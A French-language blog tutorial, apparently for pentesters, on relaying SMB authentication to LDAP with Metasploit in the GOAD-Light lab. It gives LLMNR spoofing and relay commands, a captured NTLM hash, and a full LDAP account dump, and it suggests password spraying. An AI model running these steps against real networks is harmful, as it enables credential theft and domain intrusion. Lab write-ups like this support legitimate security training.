9 minutes
🇫🇷 Relai SMB vers LDAP avec Metasploit
Introduction
Le framework Metasploit (MSF) intègre depuis quelque temps maintenant (on est en août 2025) des fonctionnalités permettant le relai vers LDAP ou HTTP, afin de ne plus dépendre, en tout cas moins, d’outils tiers tels que Responder, Certipy ou ntlmrelayx d’impacket. Dans la pratique, puisque même des fonctions permettant le spoofing de protocoles de DNS multicast tels que mDNS ou LLMNR, il est possible de tout faire directement depuis Metasploit.
Dans ce post nous allons faire le test dans l’environnement GOAD-Light qui est suffisant pour illustrer le fonctionnement de ces modules.
Setup du spoofing LLMNR avec Metasploit
Nous utilisons le module llmnr_response. Il prend quelques paramètres, mais si l’on veut le fonctionnement le plus basique, à savoir répondre à chaque requête LLMNR qui passe et y répondre avec notre IP, alors il n’y a que le paramètre SPOOFIP à configurer (et éventuellement l’interface si l’on veut s’assurer d’écouter de la bonne oreille). Il y a un paramètre REGEX qui permet éventuellement de ne répondre que si le nom recherché colle à la regex que l’on attribue et faire de l’empoisonnement sélectif.
msf6 auxiliary(spoof/llmnr/llmnr_response) > set SPOOFIP 192.168.56.117
SPOOFIP => 192.168.56.117
msf6 auxiliary(spoof/llmnr/llmnr_response) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(spoof/llmnr/llmnr_response) > /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the allocator of T_DATA class PCAPRUB::Pcap
[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:.*)" ...
Configuration du relai SMB vers LDAP
Nous allons maintenant configurer Metasploit pour mener l’attaque par relai SMB vers LDAP. A cet effet nous utilisons le module smb_to_ldap qui est lui aussi très simple et ne nécessite que très peu de paramétrages :
msf6> use smb_to_ldap
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/relay/smb_to_ldap . normal No Microsoft Windows SMB to LDAP Relay
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/server/relay/smb_to_ldap
[*] Using auxiliary/server/relay/smb_to_ldap
msf6 auxiliary(server/relay/smb_to_ldap) > show options
Module options (auxiliary/server/relay/smb_to_ldap):
Name Current Setting Required Description
---- --------------- -------- -----------
CAINPWFILE no Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.
JOHNPWFILE no Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a
path.
RELAY_TIMEOUT 25 yes Seconds that the relay socket will wait for a response after the client has initiated communication.
RHOSTS yes Target address range or CIDR identifier to relay to
RPORT 389 yes The target port
SMBDomain WORKGROUP yes The domain name used during SMB exchange.
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
SRV_TIMEOUT 25 yes Seconds that the server socket will wait for a response after the client has initiated communication.
Auxiliary action:
Name Description
---- -----------
CREATE_LDAP_SESSION Create an LDAP session
Dans le cas qui nous intéresse ici, il n’y a pas grand chose de plus à positionner que RHOSTS qui correspond à la cible, en l’occurrence un serveur LDAP de GOAD correspondant au contrôleur de domaine qui nous intéresse (192.168.56.10) :
msf6 auxiliary(server/relay/smb_to_ldap) > set rhosts 192.168.56.10
rhosts => 192.168.56.10
On lance le module et on attend. Après quelques instants, on a bien une requête qui va se retrouver relayée par Metasploit vers le serveur LDAP. Par défaut, on hérite d’une session LDAP dans laquelle on va pouvoir encapsuler des requêtes additionnelles (à la manière d’un socks de ntlmrelayx).
msf6 auxiliary(server/relay/smb_to_ldap) >
[+] 192.168.56.11 llmnr - Bravos. matches regex, responding with 192.168.56.117
[*] New request from 192.168.56.11
[*] Received request for NORTH\robb.stark
[*] Relaying to next target ldap://192.168.56.10:389
[+] Identity: NORTH\robb.stark - Successfully authenticated against relay target ldap://192.168.56.10:389
[SMB] NTLMv1-SSP Client : 192.168.56.10
[SMB] NTLMv1-SSP Username : NORTH\robb.stark
[SMB] NTLMv1-SSP Hash : robb.stark::NORTH:247cb5335f4d41b300000000000000000000000000000000:343a7ca8eed9613b31a59dd2dd9940e58937b329e0417090:ee1e53bea7b35bd1
[+] Relay succeeded
[*] LDAP session 1 opened (192.168.56.117:46379 -> 192.168.56.10:389) at 2025-08-06 15:36:42 +0200
[*] Received request for NORTH\robb.stark
[*] Identity: NORTH\robb.stark - All targets relayed to
[*] New request from 192.168.56.11
[*] Received request for NORTH\robb.stark
[*] Identity: NORTH\robb.stark - All targets relayed to
[...]
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 ldap LDAP robb.stark @ 192.168.56.10:389 192.168.56.117:46379 -> 192.168.56.10:389 (192.168.56.10)
On récupère déjà le hash de l’utilisateur, donc on peut s’amuser à essayer de le casser, mais surtout on a bien notre session. On peut également constater au passage que l’empoisonnement LLMNR a bien fonctionné.
Je tiens à ajouter une limitation, cela ne fonctionnera pas dans un environnement où les connexions SMB sont signées.
Utilisation de la session LDAP
Maintenant, on en fait quoi de cette session ? La documentation du module mentionne des idées pour faire du RBCD, mais il est également possible de commencer en récupérant une liste d’utilisateurs avec le module ldap_query.
Pour ce que l’on s’apprête à faire, ce module ne prend qu’un seul paramètre: SESSION, comme la plupart des modules de post exploitation que l’on encapsule dans une session Meterpreter, à la différence près qu’il s’agit ici d’une session LDAP.
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
SSL false no Enable SSL on the LDAP connection
When ACTION is RUN_QUERY_FILE:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_FILE_PATH no Path to the JSON or YAML file to load and run queries from
When ACTION is RUN_SINGLE_QUERY:
Name Current Setting Required Description
---- --------------- -------- -----------
QUERY_ATTRIBUTES no Comma separated list of attributes to retrieve from the server
QUERY_FILTER no Filter to send to the target LDAP server to perform the query
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 yes The target port
Auxiliary action:
Name Description
---- -----------
ENUM_ACCOUNTS Dump info about all known user accounts in the domain.
msf6 auxiliary(gather/ldap_query) > set SESSION 1
SESSION => 1
Dès qu’on lance le module, c’est rapide :
msf6 auxiliary(gather/ldap_query) > run
[*] 192.168.56.10:389 Discovered base DN: DC=sevenkingdoms,DC=local
CN=Administrator,CN=Users,DC=sevenkingdoms,DC=local
===================================================
Name Attributes
---- ----------
badpwdcount 0
description Built-in account for administering the computer/domain
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-02-27 15:09:16 UTC
logoncount 40
memberof CN=Group Policy Creator Owners,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Enterprise Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Schema Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name Administrator
objectsid S-1-5-21-2109772751-3147913912-4186721631-500
pwdlastset
samaccountname Administrator
useraccountcontrol 66048
CN=Guest,CN=Users,DC=sevenkingdoms,DC=local
===========================================
Name Attributes
---- ----------
badpwdcount 0
description Built-in account for guest access to the computer/domain
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Guests,CN=Builtin,DC=sevenkingdoms,DC=local
name Guest
objectsid S-1-5-21-2109772751-3147913912-4186721631-501
pwdlastset
samaccountname Guest
useraccountcontrol 66082
CN=vagrant,CN=Users,DC=sevenkingdoms,DC=local
=============================================
Name Attributes
---- ----------
badpwdcount 0
description Vagrant User
displayname Vagrant
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-02-27 15:09:20 UTC
logoncount 702
memberof CN=Users,CN=Builtin,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name vagrant
objectsid S-1-5-21-2109772751-3147913912-4186721631-1000
pwdlastset
samaccountname vagrant
useraccountcontrol 66048
CN=KINGSLANDING,OU=Domain Controllers,DC=sevenkingdoms,DC=local
===============================================================
Name Attributes
---- ----------
badpwdcount 0
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 2025-08-06 12:48:43 UTC
logoncount 107
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=sevenkingdoms,DC=local
\_ CN=Cert Publishers,CN=Users,DC=sevenkingdoms,DC=local
name KINGSLANDING
objectsid S-1-5-21-2109772751-3147913912-4186721631-1001
pwdlastset
samaccountname KINGSLANDING$
useraccountcontrol 532480
CN=krbtgt,CN=Users,DC=sevenkingdoms,DC=local
============================================
Name Attributes
---- ----------
badpwdcount 0
description Key Distribution Center Service Account
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Denied RODC Password Replication Group,CN=Users,DC=sevenkingdoms,DC=local
name krbtgt
objectsid S-1-5-21-2109772751-3147913912-4186721631-502
pwdlastset
samaccountname krbtgt
useraccountcontrol 514
CN=NORTH$,CN=Users,DC=sevenkingdoms,DC=local
============================================
Name Attributes
---- ----------
badpwdcount 0
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
name NORTH$
objectsid S-1-5-21-2109772751-3147913912-4186721631-1104
pwdlastset
samaccountname NORTH$
useraccountcontrol 2080
CN=tywin.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Tywin Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name tywin.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1112
pwdlastset
samaccountname tywin.lannister
useraccountcontrol 66048
CN=jaime.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Jaime Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name jaime.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1113
pwdlastset
samaccountname jaime.lannister
useraccountcontrol 66048
CN=cersei.lannister,OU=Crownlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Cersei Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name cersei.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1114
pwdlastset
samaccountname cersei.lannister
useraccountcontrol 66048
CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Tyron Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name tyron.lannister
objectsid S-1-5-21-2109772751-3147913912-4186721631-1115
pwdlastset
samaccountname tyron.lannister
useraccountcontrol 66048
CN=robert.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
===========================================================
Name Attributes
---- ----------
badpwdcount 0
description Robert Lanister
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Protected Users,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Domain Admins,CN=Users,DC=sevenkingdoms,DC=local
\_ CN=Administrators,CN=Builtin,DC=sevenkingdoms,DC=local
name robert.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1116
pwdlastset
samaccountname robert.baratheon
useraccountcontrol 66048
CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
============================================================
Name Attributes
---- ----------
badpwdcount 0
description Joffrey Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
\_ CN=Lannister,OU=Westerlands,DC=sevenkingdoms,DC=local
name joffrey.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1117
pwdlastset
samaccountname joffrey.baratheon
useraccountcontrol 66048
CN=renly.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Renly Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
name renly.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1118
pwdlastset
samaccountname renly.baratheon
useraccountcontrol 1114624
CN=stannis.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local
============================================================
Name Attributes
---- ----------
badpwdcount 0
description Stannis Baratheon
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
\_ CN=Baratheon,OU=Stormlands,DC=sevenkingdoms,DC=local
name stannis.baratheon
objectsid S-1-5-21-2109772751-3147913912-4186721631-1119
pwdlastset
samaccountname stannis.baratheon
useraccountcontrol 66048
CN=petyer.baelish,OU=Crownlands,DC=sevenkingdoms,DC=local
=========================================================
Name Attributes
---- ----------
badpwdcount 0
description Petyer Baelish
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name petyer.baelish
objectsid S-1-5-21-2109772751-3147913912-4186721631-1120
pwdlastset
samaccountname petyer.baelish
useraccountcontrol 66048
CN=lord.varys,OU=Crownlands,DC=sevenkingdoms,DC=local
=====================================================
Name Attributes
---- ----------
badpwdcount 0
description Lord Varys
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name lord.varys
objectsid S-1-5-21-2109772751-3147913912-4186721631-1121
pwdlastset
samaccountname lord.varys
useraccountcontrol 66048
CN=maester.pycelle,OU=Crownlands,DC=sevenkingdoms,DC=local
==========================================================
Name Attributes
---- ----------
badpwdcount 0
description Maester Pycelle
lastlogoff 1601-01-01 00:00:00 UTC
lastlogon 1601-01-01 00:00:00 UTC
logoncount 0
memberof CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local
name maester.pycelle
objectsid S-1-5-21-2109772751-3147913912-4186721631-1122
pwdlastset
samaccountname maester.pycelle
useraccountcontrol 66048
[*] Query returned 17 results.
[*] Auxiliary module execution completed
Le module permet également une sortie au format json ou csv, histoire de pouvoir réutiliser automatiquement sa sortie vers des outils capables de mener d’autres attaques de manière automatique (au hasard, password spray).
A partir de là, on peut aller voir si des utilisateurs ont un mot de passe dans leur description LDAP, tenter une attaque par password spraying ou déjà voir si l’un de ces comptes ne requiert pas la préauthentification Kerberos (attaque AS-REProast). Outre la simple récupération de comptes, le module ldap_query permet de nombreuses opérations. Voici quelques-unes des actions disponibles :
- ENUM_COMPUTERS
- ENUM_AD_CS_CAS
- ENUM_AD_CS_CERT_TEMPLATES
- ENUM_GMSA_HASHES
- ENUM_LAPS_PASSWORDS
- ENUM_UNCONSTRAINED_DELEGATION
- ENUM_MACHINE_ACCOUNT_QUOTA
On peut également passer une requête LDAP custom.
Conclusion
Ces modules sont pleinement fonctionnels mais pas encore aussi fiables et complets que l’ensemble Responder+Impacket. Il est cependant possible de se passer d’eux pour les cas les plus fréquemment rencontrés en pentest.